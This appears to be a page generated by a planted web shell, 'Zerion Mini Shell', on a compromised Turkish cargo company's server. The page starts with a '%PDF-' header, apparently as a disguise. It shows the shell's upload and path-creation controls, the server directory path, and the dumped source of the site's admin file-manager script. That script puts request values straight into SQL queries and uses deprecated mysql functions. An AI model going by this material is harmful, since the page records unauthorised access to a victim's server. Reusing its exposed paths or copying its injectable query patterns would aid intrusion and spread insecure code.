%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/cargonizer/domains/cargonizer.com.tr/public_html/admin/
Upload File :
Create Path :
Current File : /home/cargonizer/domains/cargonizer.com.tr/public_html/admin/files.php

<?php
    if(!defined('BASE')) die();

    $action = clean($_REQUEST['action']);

    if(isset($_POST['allaction'])) {
        $c = clean($_POST['c']);
        $st = clean($_POST['status']);
        if(is_array(array_filter($c))) :

            foreach($c as $ids) {
                $fl = getTable('files',"WHERE id='$ids'");
                @unlink("../files/{$fl['file']}");
                mquery("DELETE FROM files WHERE id=$ids");
            }
            echo message('Kayıt başarı ile silinmiştir','success');
            endif;
    }
    
    if (isset($_POST['move'])){
       $c = clean($_POST['c']);
       $moveTo = clean($_POST['folders']);
       if(is_array(array_filter($c))) {

            foreach($c as $ids) {
                insert2lang(LANG,'files',$ids,array('folder'=>$moveTo));
                //mquery("UPDATE files SET folder='$moveTo' WHERE id=$ids");
            }
            echo message('Kayıt başarı ile taşınmıştır','success');
       }
    }

    if(intval("0".$_GET['rem'])) {
        $ids = intval("0".$_GET['rem']);
        $fl = getTable('files',"WHERE id='$ids'");
        @unlink("../files/{$fl['file']}");
        mquery("DELETE FROM files WHERE id=$ids");
        echo message('Kayıt başarı ile silinmiştir','success');
    }

    $q[] = "status!='2'";


    $pagi->table = 'files';
    $pagi->pg = $_GET['pg'];
    $pagi->link = '?s=files'._GETFilter('pg').'&';
    $pagi->where = implode(' && ',$q);
    $pagi->perpage = PERPAGE;
    $pagi->startPage();


    $contents = getAllTables('files',"WHERE ".implode(' && ',$q)." ORDER BY id DESC LIMIT {$pagi->start}, {$pagi->perpage}");

?>
<div class="row">
    <div class="col-md-12">
        <h3 class="page-title">
            Dosya Yöneticisi
        </h3>
        <ul class="page-breadcrumb breadcrumb">
            <li>
                <i class="fa fa-home"></i>
                <a href="index.php">
                    Anasayfa
                </a>
                <i class="fa fa-angle-right"></i>
            </li>
            <li>
                <a href="?s=files&type=file">
                    Dosyaları Listele
                </a>
                <i class="fa fa-angle-right"></i>
            </li>
        </ul>
    </div>
</div>
<div class="btn-toolbar margin-bottom-10">
    <a class="btn blue" href="?s=media_upload&type=file"><i class="fa fa-plus"></i> Yeni Ekle</a>
</div>
<form method="post">
    <table class="table table-striped table-bordered table-hover table-full-width" id="data">
        <thead>
            <tr>
                <th>
                    <input type="checkbox" data-set=".checkboxes" class="group-checkable">
                </th>
                <th class="col-md-4">
                    İsim
                </th> 
                <th class="col-md-1">
                    Uzantı
                </th>
                <th class="col-md-1">
                    Dosya Boyutu
                </th> 
                <th class="col-md-3">
                    Dosya Yolu
                </th>
                <th class="col-md-1">
                    Yükleme Tarihi
                </th>
                <th class="col-md-1">
                    Klasör
                </th>
                <th class="hidden-xs col-sm-1">
                    İşlemler
                </th>
            </tr>
        </thead>
        <tbody>
        <?php
            if($contents):
                foreach($contents as $val) :
                ?>
                <tr>
                    <td><input type="checkbox" class="checkboxes" name="c[]" value="<?php echo $val['id']; ?>"></td>
                    <td><?php echo $val['name']; ?></td>
                    <td><?php echo $val['ext']; ?></td>
                    <td><?php echo file_size(filesize('../files/'.$val['file'])); ?></td>
                    <td><a target="_blank" href="../files/<?php echo $val['file']; ?>">http://<?php echo $_SERVER['HTTP_HOST'].'/files/'.$val['file']; ?></a></td>
                    <td><?php echo date("d.m.Y H:i",$val['create_time']); ?></td>
                    <td><?=$val['folder']?></td>
                    <td>
                        <a class="btn default btn-xs black" href="javascript:;" onclick="return deleteRow('Dosyayı Silmek istediğinizden emin misiniz?','?s=files&type=file&rem=<?php echo $val['id']; ?>');"><i class="fa fa-trash-o"></i> Sil</a>
                    </td>
                </tr>
                <?php
                    endforeach;
                else:
            ?>
        </table>
        <div class="note note-warning">Üzgünüz, herhangi bir kayıt bulunamadı !</div>
        <?php
            endif;
    ?>
    </tbody>
    </table>
    <div class="row">
        <div class="col-md-2">

            <div class="input-group">
                <select class="form-control" name="status">
                    <option value="1">Aktif Et</option>
                    <option value="0">Pasif Et</option>
                    <option value="2">Sil</option>
                </select>
                <div class="input-group-btn">
                    <input type="submit" class="btn default" value="Tamam" name="allaction" />           
                </div>
            </div>
        </div>
        
        <div class="col-md-2">            
            <div class="input-group">
                <select class="form-control" name="folders">
                    <?php 
                        $guery = mysql_query('SELECT DISTINCT folder FROM files');
                            while ($klasorler = mysql_fetch_row($guery,MYSQL_ASSOC)){
                                if ($klasorler['folder'] != ''){
                                    echo '<option value="'.$klasorler['folder'].'">'.$klasorler['folder'].'</option>';
                                }
                            }
                    ?>
                </select>
                <div class="input-group-btn">
                    <input type="submit" class="btn default" value="Taşı" name="move" />           
                </div>
            </div>
        </div>
        
        <div class="col-md-8 text-right">
            <?php echo $pagi->paginations(); ?>
        </div>
    </div>
</form>
<div aria-hidden="true" role="basic" id="ajaxcont" class="modal fade">
    <div class="modal-dialog">
        <div class="modal-content">
        </div>
    </div>
</div>

Zerion Mini Shell 1.0